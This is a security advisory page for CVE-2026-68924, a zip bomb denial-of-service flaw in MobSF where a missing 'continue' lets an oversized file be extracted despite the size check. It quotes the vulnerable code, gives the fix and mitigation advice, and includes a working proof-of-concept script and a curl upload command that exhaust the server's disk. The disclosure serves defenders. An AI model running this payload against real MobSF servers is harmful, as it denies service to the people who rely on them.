CVE-2026-68924 is a medium-severity (CVSS 4.9) Uncontrolled Resource Consumption vulnerability in mobsf. A fix is available for mobsf — see the affected versions and patch details below.
MobSF: Zip Bomb Denial of Service via Per-File Size Limit Bypass in ZIP/APK Extraction
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-68924.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-68924 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 382,205 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
mobsfReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIP_MAX_UNCOMPRESSED_FILE_SIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.
Verified Impact (Code Audit)
The vulnerable code path in shared_func.py lines 153–182:
# Line 156: Size check
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
size_mb = fileinfo.file_size / (1024 * 1024)
msg = (f'File too large ({size_mb:.2f} MB). Skipping '
f'{sanitize_for_logging(file_path)}')
logger.warning(msg)
# ← BUG: No 'continue' here! Execution falls through.
# Line 161: Total size check (separate)
if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:
raise Exception(msg)
# Line 171-178: Permission fixing (only dirs get 'continue')
if fileinfo.is_dir():
continue
else:
fileinfo.external_attr = ...
# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES
try:
zipptr.extract(file_path, ext_path) # ← Runs regardless of size check
The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.
Steps to Reproduce
1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):
#!/usr/bin/env python3
import zipfile, tempfile, os
output = tempfile.mktemp(suffix='.apk')
with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>')
# 450 MB file (exceeds 400 MB limit) — compresses to ~KB
info = zipfile.ZipInfo('assets/huge.bin')
info.compress_type = zipfile.ZIP_DEFLATED
with zf.open(info, 'w') as f:
for _ in range(450):
f.write(b'\x00' * (1024 * 1024)) # 1 MB at a time
print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")
2. Upload via API:
curl -X POST http://127.0.0.1:8000/api/v1/upload \
-H "X-Mobsf-Api-Key: YOUR_KEY" \
-F "[email protected]"
3. Trigger scan, then verify:
# Log says "Skipping" but file exists on disk:
grep "File too large" ~/.MobSF/debug.log
ls -la ~/.MobSF/uploads/HASH/assets/huge.bin # 450 MB file is there
Why This Is Not a Self-Bug
- This affects any user who scans a maliciously crafted APK
- The APK could come from a legitimate-looking package submitted for security review
- Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists
- Impact: disk exhaustion preventing further scans for other users
Remediation
Add continue after the size warning:
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
size_mb = fileinfo.file_size / (1024 * 1024)
msg = (f'File too large ({size_mb:.2f} MB). Skipping '
f'{sanitize_for_logging(file_path)}')
logger.warning(msg)
continue # ← ADD THIS LINE
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | mobsf | all versions | 4.5.1pip install --upgrade 'mobsf==4.5.1' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mobsf, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update mobsf to 4.5.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-68924 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2026-68924 in your dependencies?
Find it across PyPI, including transitive dependencies.